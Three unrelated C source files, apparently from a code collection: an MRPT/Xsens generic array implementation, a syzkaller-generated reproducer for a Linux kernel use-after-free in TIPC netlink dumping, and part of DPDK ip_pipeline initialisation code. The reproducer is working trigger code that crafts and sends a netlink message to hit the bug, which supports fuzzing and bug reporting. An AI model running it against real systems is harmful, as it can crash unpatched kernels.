| https://www.mrpt.org/ |
| |
| Copyright (c) 2005-2019, Individual contributors, see AUTHORS file |
| See: https://www.mrpt.org/Authors - All rights reserved. |
| Released under BSD License. See details in https://www.mrpt.org/License |
+---------------------------------------------------------------------------+ */
#include "xsarray.h"
#include "xsatomicint.h"
#include <stdlib.h>
#ifndef XSENS_NO_ALLOC_TRACKING
XsAtomicInt XSTYPES_DLL_API XsArray_allocCount = XSATOMICINT_INITIALIZER; //!< The number of times XsArray_ functions have allocated memory
XsAtomicInt XSTYPES_DLL_API XsArray_freeCount = XSATOMICINT_INITIALIZER; //!< The number of times XsArray_ functions have freed memory
#define INC_ALLOC() XsAtomicInt_preIncrement(&XsArray_allocCount)
#define INC_FREE() XsAtomicInt_preIncrement(&XsArray_freeCount)
#else
#define INC_ALLOC() ((void)0)
#define INC_FREE() ((void)0)
#endif
/*! \class XsArray
\brief Provides generic storage for data in an array and manipulation operations on that data
*/
/*! \addtogroup cinterface C Interface
@{
*/
/*! \cond NODOXYGEN */
#define elemSize(thisArray) (thisArray->m_descriptor->itemSize)
#define elemAtX(b, i, thisArray) ((void*)(((char*) (b))+((i)*elemSize(thisArray))))
#define elemAt(b, i) elemAtX(b, i, thisArray)
/*! \endcond */
/*! \relates XsArray
\brief Initializes the XsArray with space for \a count items and copies them from \a src
\details This function initializes the object reserving \a count items in the buffer. \a count may
be 0. If \a src is not 0, \a count items from \a src will be copied.
\param descriptor The descriptor of the data in the list
\param count The number of items to reserve space for. When \a src is not NULL, thisArray is also the number of items copied from \a src
\param src A pointer to an array of objects to copy, may be NULL, ignored when \a count is 0
*/
void XsArray_construct(void* thisPtr, XsArrayDescriptor const* const descriptor, XsSize count, void const* src)
{
XsArray* thisArray = (XsArray*) thisPtr;
*((XsArrayDescriptor const**) &thisArray->m_descriptor) = descriptor;
*((XsSize*) &thisArray->m_size) = count;
if (thisArray->m_size)
{
// init to size
*((void**) &thisArray->m_data) = malloc(thisArray->m_size*elemSize(thisArray));
INC_ALLOC();
// init the configurations
if (src)
{
XsSize i;
assert(thisArray->m_descriptor->itemCopyConstruct);
for (i=0; i<thisArray->m_size; ++i)
thisArray->m_descriptor->itemCopyConstruct(elemAt(thisArray->m_data, i), elemAt(src, i));
}
else if (thisArray->m_descriptor->itemConstruct)
{
XsSize i;
for (i=0; i<thisArray->m_size; ++i)
thisArray->m_descriptor->itemConstruct(elemAt(thisArray->m_data, i));
}
}
else
*((void**) &thisArray->m_data) = 0;
*((XsSize*) &thisArray->m_reserved) = thisArray->m_size;
*((int*) &thisArray->m_flags) = XSDF_Managed;
}
/*! \relates XsArray
\brief Initializes the XsArray with a copy of \a src
\param src A pointer to the objects to copy. The object may be empty, but src may not be 0
*/
void XsArray_copyConstruct(void* thisPtr, void const* src)
{
XsArray* thisArray = (XsArray*) thisPtr;
XsArray const* srcArray = (XsArray const*) src;
assert(srcArray);
XsArray_construct(thisArray, srcArray->m_descriptor, srcArray->m_size, srcArray->m_data);
}
/*! \relates XsArray
\brief Clears and frees memory allocated by the XsArray
\note After XsArray_destruct is called, the object is empty but valid,
ie. it can be used as if XsArray_construct has been called on it.
*/
void XsArray_destruct(void* thisPtr)
{
XsArray* thisArray = (XsArray*) thisPtr;
if (thisArray->m_data && (thisArray->m_flags & XSDF_Managed))
{
XsSize i;
// clear contents
if (thisArray->m_descriptor->itemDestruct)
for (i=0; i<thisArray->m_reserved; ++i)
thisArray->m_descriptor->itemDestruct(elemAt(thisArray->m_data, i));
free((void*) thisArray->m_data);
INC_FREE();
}
// init to 0
*((void**) &thisArray->m_data) = 0;
*((XsSize*) &thisArray->m_size) = 0;
*((XsSize*) &thisArray->m_reserved) = 0;
*((int*) &thisArray->m_flags) = (thisArray->m_flags & (XSDF_Managed | XSDF_FixedSize));
}
/*! \relates XsArray
\brief Reinitializes the XsArray with space for \a count items and copies them from \a src
\details This function reinitializes the object reserving space for at least \a count items in the
buffer. \a count may be 0. If \a src is not 0, \a count items will be copied from \a src.
Previous data will be cleared automatically, but the reserved space will not be reduced.
\param count the number of items in src
\param src a pointer to an array of output configuration objects
\sa XsArray_reserve
*/
void XsArray_assign(void* thisPtr, XsSize count, void const* src)
{
XsSize i;
XsArray* thisArray = (XsArray*) thisPtr;
// check if we need to reallocate
if (count > thisArray->m_reserved)
{
assert(thisArray->m_flags & XSDF_Managed);
if (thisArray->m_data)
XsArray_destruct(thisArray);
XsArray_construct(thisArray, thisArray->m_descriptor, count, src);
return;
}
// no reallocation necessary, clear excess objects
if (thisArray->m_descriptor->itemDestruct)
for (i=count; i<thisArray->m_size; ++i)
thisArray->m_descriptor->itemDestruct(elemAt(thisArray->m_data, i));
if (src)
for (i=0; i<count; ++i)
thisArray->m_descriptor->itemCopy(elemAt(thisArray->m_data, i), elemAt(src, i));
*((XsSize*) &thisArray->m_size) = count;
}
/*! \relates XsArray
\brief Resizes the existing list to \a count items
\details This function will keep the data of the remaining items intact.
\param count the number of items the list should have
\sa XsArray_reserve \sa XsArray_assign
*/
void XsArray_resize(void* thisPtr, XsSize count)
{
XsArray* thisArray = (XsArray*) thisPtr;
if (thisArray->m_size == count)
return;
if (thisArray->m_size == 0)
{
XsArray_assign(thisArray, count, 0);
return;
}
if (count < thisArray->m_size)
{
XsArray_erase(thisArray, count, thisArray->m_size - count);
return;
}
if (count > thisArray->m_reserved)
XsArray_reserve(thisArray, count);
*((XsSize*) &thisArray->m_size) = count;
}
/*! \relates XsArray
\brief Reserves space for \a count items
\details This function reserves space for exactly \a count items unless \a count is less than the
current list size. The function will retain the current data in the list.
\param count The number of items to reserve space for
\sa XsArray_assign
*/
void XsArray_reserve(void* thisPtr, XsSize count)
{
XsArray* thisArray = (XsArray*) thisPtr;
XsArray tmp = { 0, thisArray->m_size, 0, XSDF_Managed, thisArray->m_descriptor };
XsSize i;
if (count < thisArray->m_size)
count = thisArray->m_size;
if (count == thisArray->m_reserved)
return;
if (!(thisArray->m_flags & XSDF_Managed))
{
// attempting thisArray on an unmanaged list is ignored silently
return;
}
if (!count)
{
XsArray_destruct(thisArray);
return;
}
*((XsSize*) &tmp.m_reserved) = count;
// init to size
*((void**) &tmp.m_data) = malloc(tmp.m_reserved*elemSize(thisArray));
INC_ALLOC();
if (thisArray->m_descriptor->itemConstruct)
for (i=0; i<tmp.m_reserved; ++i)
thisArray->m_descriptor->itemConstruct(elemAt(tmp.m_data, i));
for (i=0; i<thisArray->m_size; ++i)
thisArray->m_descriptor->itemSwap(elemAt(thisArray->m_data, i), elemAt(tmp.m_data, i));
XsArray_destruct(thisArray);
XsArray_swap(thisArray, &tmp);
}
/*! \relates XsArray
\brief Copy the contents of \a src to thisArray */
void XsArray_copy(void* thisPtr, void const* src)
{
XsArray* thisArray = (XsArray*) thisPtr;
XsArray const* srcArray = (XsArray const*) src;
if (srcArray == thisArray)
{
return;
}
XsArray_assign(thisArray, srcArray->m_size, srcArray->m_data);
}
/*! \relates XsArray
\brief Appends the \a other list to thisArray list
\param other The list to append to thisArray list. \a other may point to thisArray list
*/
void XsArray_append(void* thisPtr, void const* other)
{
XsSize i;
XsArray* thisArray = (XsArray*) thisPtr;
XsArray const* otherArray = (XsArray const*) other;
if (otherArray->m_size == 0)
return;
if (otherArray == thisArray)
{
if (thisArray->m_size + thisArray->m_size > thisArray->m_reserved)
XsArray_reserve(thisArray, thisArray->m_size + thisArray->m_size); // maybe reserve more here?
for (i=0; i<thisArray->m_size; ++i)
thisArray->m_descriptor->itemCopy(elemAt(thisArray->m_data, i+thisArray->m_size), elemAt(thisArray->m_data, i));
*((XsSize*) &thisArray->m_size) = thisArray->m_size + thisArray->m_size;
return;
}
if (thisArray->m_size == 0)
{
XsArray_copy(thisArray, otherArray);
return;
}
if (thisArray->m_size + otherArray->m_size > thisArray->m_reserved)
XsArray_reserve(thisArray, thisArray->m_size + otherArray->m_size); // maybe reserve more here?
for (i=0; i<otherArray->m_size; ++i)
thisArray->m_descriptor->itemCopy(elemAt(thisArray->m_data, i+thisArray->m_size), elemAt(otherArray->m_data, i));
*((XsSize*) &thisArray->m_size) = thisArray->m_size + otherArray->m_size;
}
/*! \relates XsArray
\brief Insert \a count items from \a src at \a index in the array
\param index The index to use for inserting. Anything beyond the end of the array (ie. -1) will
append to the actual end of the array.
\param count The number of items to insert
\param src The items to insert, may not be 0 unless count is 0
*/
void XsArray_insert(void* thisPtr, XsSize index, XsSize count, void const* src)
{
XsSize s;
XsArray* thisArray = (XsArray*) thisPtr;
int i,d = (int) count;
if (thisArray->m_size + count > thisArray->m_reserved)
XsArray_reserve(thisArray, ((thisArray->m_size + count)*3)/2); // we reserve 50% more space here to handle multiple sequential insertions efficiently
// fix index if beyond end of list
if (index > thisArray->m_size)
index = thisArray->m_size;
// move items to the back by swapping
for (i = ((int)thisArray->m_size)-1; i >= (int) index; --i)
thisArray->m_descriptor->itemSwap(elemAt(thisArray->m_data, i), elemAt(thisArray->m_data, i+d));
// copy items to the array
for (s = 0; s < count; ++s)
thisArray->m_descriptor->itemCopy(elemAt(thisArray->m_data, s+index), elemAt(src, s));
// update size
*((XsSize*) &thisArray->m_size) = thisArray->m_size + count;
}
/*! \relates XsArray
\brief Swap the contents of \a a with those of \a b
\details Where possible, the pointers and administrative values are swapped. If for some reason
thisArray is not possible, the lists are swapped one element at a time.
\param a The list to swap with \a b
\param b The list to swap with \a a
*/
void XsArray_swap(void* a, void* b)
{
XsArray* aArray = (XsArray*) a;
XsArray* bArray = (XsArray*) b;
if (!aArray->m_data && !bArray->m_data)
return;
if ((!aArray->m_data || (aArray->m_flags & XSDF_Managed)) && (!bArray->m_data || (bArray->m_flags & XSDF_Managed)))
{
// administrative swap
XsArray tmp;
*((void**) &tmp.m_data) = aArray->m_data;
*((void**) &aArray->m_data) = bArray->m_data;
*((void**) &bArray->m_data) = tmp.m_data;
*((XsSize*) &tmp.m_size) = aArray->m_size;
*((XsSize*) &aArray->m_size) = bArray->m_size;
*((XsSize*) &bArray->m_size) = tmp.m_size;
*((XsSize*) &tmp.m_reserved) = aArray->m_reserved;
*((XsSize*) &aArray->m_reserved) = bArray->m_reserved;
*((XsSize*) &bArray->m_reserved) = tmp.m_reserved;
*((int*) &tmp.m_flags) = aArray->m_flags;
*((int*) &aArray->m_flags) = bArray->m_flags;
*((int*) &bArray->m_flags) = tmp.m_flags;
} else {
// elementwise swap
XsSize i;
assert(aArray->m_size == bArray->m_size);
for (i = 0; i < aArray->m_size; ++i)
aArray->m_descriptor->itemSwap(elemAtX(aArray->m_data, i, aArray), elemAtX(bArray->m_data, i, bArray));
}
}
/*! \relates XsArray
\brief Removes a \a count items from the list starting at \a index
*/
void XsArray_erase(void* thisPtr, XsSize index, XsSize count)
{
XsSize i, newCount;
XsArray* thisArray = (XsArray*) thisPtr;
if (count == 0 || index >= thisArray->m_size)
return;
if (count+index > thisArray->m_size)
count = thisArray->m_size - index;
newCount = thisArray->m_size - count;
// move items into the gap by swapping
for (i = index; i < newCount; ++i)
thisArray->m_descriptor->itemSwap(elemAt(thisArray->m_data, i), elemAt(thisArray->m_data, i+count));
*((XsSize*) &thisArray->m_size) = newCount;
}
/*! \relates XsArray
\brief Returns non-zero if the lists are different, 0 if they're equal
\details This function compares the two lists in-order
\param a The left hand side of the comparison
\param b The right hand side of the comparison
\return -1 if \a a is smaller in some way than \a b, 1 if it is larger in some way
and 0 if both lists are equal. Please note that not all lists have items that can be accurately
tested for less than or greater than, but can be tested for (in-)equality. So the sign of the
return value should be treated with knowledge of the data type in mind.
\sa XsArray_compareSet
*/
int XsArray_compare(void const* a, void const* b)
{
XsSize i;
XsArray const* aArray = (XsArray const*) a;
XsArray const* bArray = (XsArray const*) b;
if (aArray == bArray)
return 0;
if (aArray->m_size != bArray->m_size)
return (aArray->m_size < bArray->m_size)?-1:1;
assert(aArray->m_descriptor->itemCompare);
// we could theoretically only check the sizes and ignore the element-comparison in thisArray case
for (i = 0; i < aArray->m_size; ++i) // loop over all elements of the lists
{
int r = aArray->m_descriptor->itemCompare(elemAtX(aArray->m_data, i, aArray), elemAtX(bArray->m_data, i, bArray));
if (r)
return r;
}
return 0;
}
/*! \relates XsArray
\brief Returns -1 if \a a is smaller in some way than \a b, 1 if it is larger in some way and 0 if both lists are equal
\details This function compares the two lists out-of-order
\param a The left hand side of the comparison
\param b The right hand side of the comparison
\return -1 if \a a is smaller in some way than \a b, 1 if it is larger in some way
and 0 if both lists are equal. Please note that not all lists have items that can be accurately
tested for less than or greater than, but can be tested for (in-)equality. So the sign of the
return value should be treated with knowledge of the data type in mind.
\sa XsArray_compare
*/
int XsArray_compareSet(void const* a, void const* b)
{
XsSize n, m;
XsArray const* aArray = (XsArray const*) a;
XsArray const* bArray = (XsArray const*) b;
if (aArray == bArray)
return 0;
if (aArray->m_size != bArray->m_size)
return (aArray->m_size < bArray->m_size)?-1:1;
for (n = 0; n < aArray->m_size; ++n) // loop over all elements of list aArray
{
int found = 0;
for (m = 0; m < bArray->m_size; ++m) // loop over all elements of list bArray
{
if (aArray->m_descriptor->itemCompare(elemAtX(aArray->m_data, n, aArray), elemAtX(bArray->m_data, m, bArray)) == 0)
{
found = 1;
break;
}
}
if (!found)
return -1;
}
return 0;
}
/*! \relates XsArray
\brief Returns the index of \a needle in the list or -1 if it wasn't found
\details The search does not assume any kind of ordering of the items so in a worst-case scenario it
will go through the entire list.
\param needle A pointer to the value to search for
\returns The index of where \a needle was found or -1 if it wasn't found.
*/
int XsArray_find(void const* thisPtr, void const* needle)
{
XsSize i;
XsArray const* thisArray = (XsArray const*) thisPtr;
assert(thisArray->m_descriptor->itemCompare);
// we could theoretically only check the sizes and ignore the element-comparison in thisArray case
for (i = 0; i < thisArray->m_size; ++i) // loop over all elements of the lists
if (!thisArray->m_descriptor->itemCompare(elemAt(thisArray->m_data, i), needle))
return (int) i;
return -1;
}
/*! \relates XsArray
\brief Returns a pointer to the item at the supplied \a index or a null pointer if it is out of bounds
\param index The index of the item to return
\returns A pointer to the item or NULL if \a index is out of bounds
*/
void const* XsArray_at(void const* thisPtr, XsSize index)
{
XsArray const* thisArray = (XsArray const*) thisPtr;
if (index >= thisArray->m_size)
return 0;
return elemAt(thisArray->m_data, index);
}
/*! \relates XsArray
\brief Returns a pointer to the item at the supplied \a index or a null pointer if it is out of bounds
\param index The index of the item to return
\returns A pointer to the item or NULL if \a index is out of bounds
*/
void* XsArray_atIndex(void* thisPtr, XsSize index)
{
XsArray* thisArray = (XsArray*) thisPtr;
if (index >= thisArray->m_size)
return 0;
return elemAt(thisArray->m_data, index);
}
/*! \relates XsArray
\brief Removes duplicate entries from the array, keeping only the first instance of each value
\todo Optimize for speed by grouping erases
*/
void XsArray_removeDuplicates(void* thisPtr)
{
XsSize i,j;
XsArray* thisArray = (XsArray*) thisPtr;
if (thisArray->m_size > 1)
{
for (i = 0; i < thisArray->m_size-1; ++i)
{
for (j = thisArray->m_size-1; j > i; --j)
{
if (!thisArray->m_descriptor->itemCompare(elemAt(thisArray->m_data, i), elemAt(thisArray->m_data, j)))
{
XsArray_erase(thisPtr, j, 1);
}
}
}
}
}
/*! @} */
|
652911.c | // KASAN: use-after-free Read in tipc_udp_nl_dump_remoteip (2)
// https://syzkaller.appspot.com/bug?id=3039ddf6d7b13daf3787
// status:6
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \
*(type*)(addr) = \
htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \
(((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static long syz_genetlink_get_family_id(volatile long name)
{
char buf[512] = {0};
struct nlmsghdr* hdr = (struct nlmsghdr*)buf;
struct genlmsghdr* genlhdr = (struct genlmsghdr*)NLMSG_DATA(hdr);
struct nlattr* attr = (struct nlattr*)(genlhdr + 1);
hdr->nlmsg_len =
sizeof(*hdr) + sizeof(*genlhdr) + sizeof(*attr) + GENL_NAMSIZ;
hdr->nlmsg_type = GENL_ID_CTRL;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
genlhdr->cmd = CTRL_CMD_GETFAMILY;
attr->nla_type = CTRL_ATTR_FAMILY_NAME;
attr->nla_len = sizeof(*attr) + GENL_NAMSIZ;
strncpy((char*)(attr + 1), (char*)name, GENL_NAMSIZ);
struct iovec iov = {hdr, hdr->nlmsg_len};
struct sockaddr_nl addr = {0};
addr.nl_family = AF_NETLINK;
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd == -1) {
return -1;
}
struct msghdr msg = {&addr, sizeof(addr), &iov, 1, NULL, 0, 0};
if (sendmsg(fd, &msg, 0) == -1) {
close(fd);
return -1;
}
ssize_t n = recv(fd, buf, sizeof(buf), 0);
close(fd);
if (n <= 0) {
return -1;
}
if (hdr->nlmsg_type != GENL_ID_CTRL) {
return -1;
}
for (; (char*)attr < buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID)
return *(uint16_t*)(attr + 1);
}
return -1;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[2] = {0xffffffffffffffff, 0x0};
void execute_one(void)
{
intptr_t res = 0;
res = syscall(__NR_socket, 0x10ul, 3ul, 0x10);
if (res != -1)
r[0] = res;
memcpy((void*)0x200003c0, "TIPCv2\000", 7);
res = syz_genetlink_get_family_id(0x200003c0);
if (res != -1)
r[1] = res;
*(uint64_t*)0x20000200 = 0;
*(uint32_t*)0x20000208 = 0;
*(uint64_t*)0x20000210 = 0x200001c0;
*(uint64_t*)0x200001c0 = 0x20000000;
*(uint32_t*)0x20000000 = 0x28;
*(uint16_t*)0x20000004 = r[1];
*(uint16_t*)0x20000006 = 0x1707;
*(uint32_t*)0x20000008 = 0;
*(uint32_t*)0x2000000c = 0;
*(uint8_t*)0x20000010 = 0x16;
*(uint8_t*)0x20000011 = 0;
*(uint16_t*)0x20000012 = 9;
*(uint16_t*)0x20000014 = 0x14;
STORE_BY_BITMASK(uint16_t, , 0x20000016, 1, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x20000017, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x20000017, 1, 7, 1);
*(uint16_t*)0x20000018 = 0xe;
*(uint16_t*)0x2000001a = 1;
memcpy((void*)0x2000001c, "ib", 2);
*(uint8_t*)0x2000001e = 0x3a;
memcpy((void*)0x2000001f, "vxcan1\000", 7);
*(uint64_t*)0x200001c8 = 0x28;
*(uint64_t*)0x20000218 = 1;
*(uint64_t*)0x20000220 = 0;
*(uint64_t*)0x20000228 = 0;
*(uint32_t*)0x20000230 = 0;
syscall(__NR_sendmsg, r[0], 0x20000200ul, 0ul);
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
loop();
}
}
sleep(1000000);
return 0;
}
|
374582.c | /* SPDX-License-Identifier: BSD-3-Clause
* Copyright(c) 2010-2016 Intel Corporation
*/
#include <inttypes.h>
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#ifdef RTE_EXEC_ENV_LINUXAPP
#include <linux/if.h>
#include <linux/if_tun.h>
#endif
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <rte_cycles.h>
#include <rte_ethdev.h>
#include <rte_ether.h>
#include <rte_ip.h>
#include <rte_eal.h>
#include <rte_malloc.h>
#include <rte_bus_pci.h>
#include "app.h"
#include "pipeline.h"
#include "pipeline_common_fe.h"
#include "pipeline_master.h"
#include "pipeline_passthrough.h"
#include "pipeline_firewall.h"
#include "pipeline_flow_classification.h"
#include "pipeline_flow_actions.h"
#include "pipeline_routing.h"
#include "thread_fe.h"
#define APP_NAME_SIZE 32
#define APP_RETA_SIZE_MAX (ETH_RSS_RETA_SIZE_512 / RTE_RETA_GROUP_SIZE)
static void
app_init_core_map(struct app_params *app)
{
APP_LOG(app, HIGH, "Initializing CPU core map ...");
app->core_map = cpu_core_map_init(RTE_MAX_NUMA_NODES, RTE_MAX_LCORE,
4, 0);
if (app->core_map == NULL)
rte_panic("Cannot create CPU core map\n");
if (app->log_level >= APP_LOG_LEVEL_LOW)
cpu_core_map_print(app->core_map);
}
/* Core Mask String in Hex Representation */
#define APP_CORE_MASK_STRING_SIZE ((64 * APP_CORE_MASK_SIZE) / 8 * 2 + 1)
static void
app_init_core_mask(struct app_params *app)
{
uint32_t i;
char core_mask_str[APP_CORE_MASK_STRING_SIZE];
for (i = 0; i < app->n_pipelines; i++) {
struct app_pipeline_params *p = &app->pipeline_params[i];
int lcore_id;
lcore_id = cpu_core_map_get_lcore_id(app->core_map,
p->socket_id,
p->core_id,
p->hyper_th_id);
if (lcore_id < 0)
rte_panic("Cannot create CPU core mask\n");
app_core_enable_in_core_mask(app, lcore_id);
}
app_core_build_core_mask_string(app, core_mask_str);
APP_LOG(app, HIGH, "CPU core mask = 0x%s", core_mask_str);
}
static void
app_init_eal(struct app_params *app)
{
char buffer[256];
char core_mask_str[APP_CORE_MASK_STRING_SIZE];
struct app_eal_params *p = &app->eal_params;
uint32_t n_args = 0;
uint32_t i;
int status;
app->eal_argv[n_args++] = strdup(app->app_name);
app_core_build_core_mask_string(app, core_mask_str);
snprintf(buffer, sizeof(buffer), "-c%s", core_mask_str);
app->eal_argv[n_args++] = strdup(buffer);
if (p->coremap) {
snprintf(buffer, sizeof(buffer), "--lcores=%s", p->coremap);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->master_lcore_present) {
snprintf(buffer,
sizeof(buffer),
"--master-lcore=%" PRIu32,
p->master_lcore);
app->eal_argv[n_args++] = strdup(buffer);
}
snprintf(buffer, sizeof(buffer), "-n%" PRIu32, p->channels);
app->eal_argv[n_args++] = strdup(buffer);
if (p->memory_present) {
snprintf(buffer, sizeof(buffer), "-m%" PRIu32, p->memory);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->ranks_present) {
snprintf(buffer, sizeof(buffer), "-r%" PRIu32, p->ranks);
app->eal_argv[n_args++] = strdup(buffer);
}
for (i = 0; i < APP_MAX_LINKS; i++) {
if (p->pci_blacklist[i] == NULL)
break;
snprintf(buffer,
sizeof(buffer),
"--pci-blacklist=%s",
p->pci_blacklist[i]);
app->eal_argv[n_args++] = strdup(buffer);
}
if (app->port_mask != 0)
for (i = 0; i < APP_MAX_LINKS; i++) {
if (p->pci_whitelist[i] == NULL)
break;
snprintf(buffer,
sizeof(buffer),
"--pci-whitelist=%s",
p->pci_whitelist[i]);
app->eal_argv[n_args++] = strdup(buffer);
}
else
for (i = 0; i < app->n_links; i++) {
char *pci_bdf = app->link_params[i].pci_bdf;
snprintf(buffer,
sizeof(buffer),
"--pci-whitelist=%s",
pci_bdf);
app->eal_argv[n_args++] = strdup(buffer);
}
for (i = 0; i < APP_MAX_LINKS; i++) {
if (p->vdev[i] == NULL)
break;
snprintf(buffer,
sizeof(buffer),
"--vdev=%s",
p->vdev[i]);
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->vmware_tsc_map_present) && p->vmware_tsc_map) {
snprintf(buffer, sizeof(buffer), "--vmware-tsc-map");
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->proc_type) {
snprintf(buffer,
sizeof(buffer),
"--proc-type=%s",
p->proc_type);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->syslog) {
snprintf(buffer, sizeof(buffer), "--syslog=%s", p->syslog);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->log_level_present) {
snprintf(buffer,
sizeof(buffer),
"--log-level=%" PRIu32,
p->log_level);
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->version_present) && p->version) {
snprintf(buffer, sizeof(buffer), "-v");
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->help_present) && p->help) {
snprintf(buffer, sizeof(buffer), "--help");
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->no_huge_present) && p->no_huge) {
snprintf(buffer, sizeof(buffer), "--no-huge");
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->no_pci_present) && p->no_pci) {
snprintf(buffer, sizeof(buffer), "--no-pci");
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->no_hpet_present) && p->no_hpet) {
snprintf(buffer, sizeof(buffer), "--no-hpet");
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->no_shconf_present) && p->no_shconf) {
snprintf(buffer, sizeof(buffer), "--no-shconf");
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->add_driver) {
snprintf(buffer, sizeof(buffer), "-d%s", p->add_driver);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->socket_mem) {
snprintf(buffer,
sizeof(buffer),
"--socket-mem=%s",
p->socket_mem);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->huge_dir) {
snprintf(buffer, sizeof(buffer), "--huge-dir=%s", p->huge_dir);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->file_prefix) {
snprintf(buffer,
sizeof(buffer),
"--file-prefix=%s",
p->file_prefix);
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->base_virtaddr) {
snprintf(buffer,
sizeof(buffer),
"--base-virtaddr=%s",
p->base_virtaddr);
app->eal_argv[n_args++] = strdup(buffer);
}
if ((p->create_uio_dev_present) && p->create_uio_dev) {
snprintf(buffer, sizeof(buffer), "--create-uio-dev");
app->eal_argv[n_args++] = strdup(buffer);
}
if (p->vfio_intr) {
snprintf(buffer,
sizeof(buffer),
"--vfio-intr=%s",
p->vfio_intr);
app->eal_argv[n_args++] = strdup(buffer);
}
snprintf(buffer, sizeof(buffer), "--");
app->eal_argv[n_args++] = strdup(buffer);
app->eal_argc = n_args;
APP_LOG(app, HIGH, "Initializing EAL ...");
if (app->log_level >= APP_LOG_LEVEL_LOW) {
int i;
fprintf(stdout, "[APP] EAL arguments: \"");
for (i = 1; i < app->eal_argc; i++)
fprintf(stdout, "%s ", app->eal_argv[i]);
fprintf(stdout, "\"\n");
}
status = rte_eal_init(app->eal_argc, app->eal_argv);
if (status < 0)
rte_panic("EAL init error\n");
}
static void
app_init_mempool(struct app_params *app)
{
uint32_t i;
for (i = 0; i < app->n_mempools; i++) {
struct app_mempool_params *p = &app->mempool_params[i];
APP_LOG(app, HIGH, "Initializing %s ...", p->name);
app->mempool[i] = rte_pktmbuf_pool_create(
p->name,
p->pool_size,
p->cache_size,
0, /* priv_size */
p->buffer_size -
sizeof(struct rte_mbuf), /* mbuf data size */
p->cpu_socket_id);
if (app->mempool[i] == NULL)
rte_panic("%s init error\n", p->name);
}
}
static inline int
app_link_filter_arp_add(struct app_link_params *link)
{
struct rte_eth_ethertype_filter filter = {
.ether_type = ETHER_TYPE_ARP,
.flags = 0,
.queue = link->arp_q,
};
return rte_eth_dev_filter_ctrl(link->pmd_id,
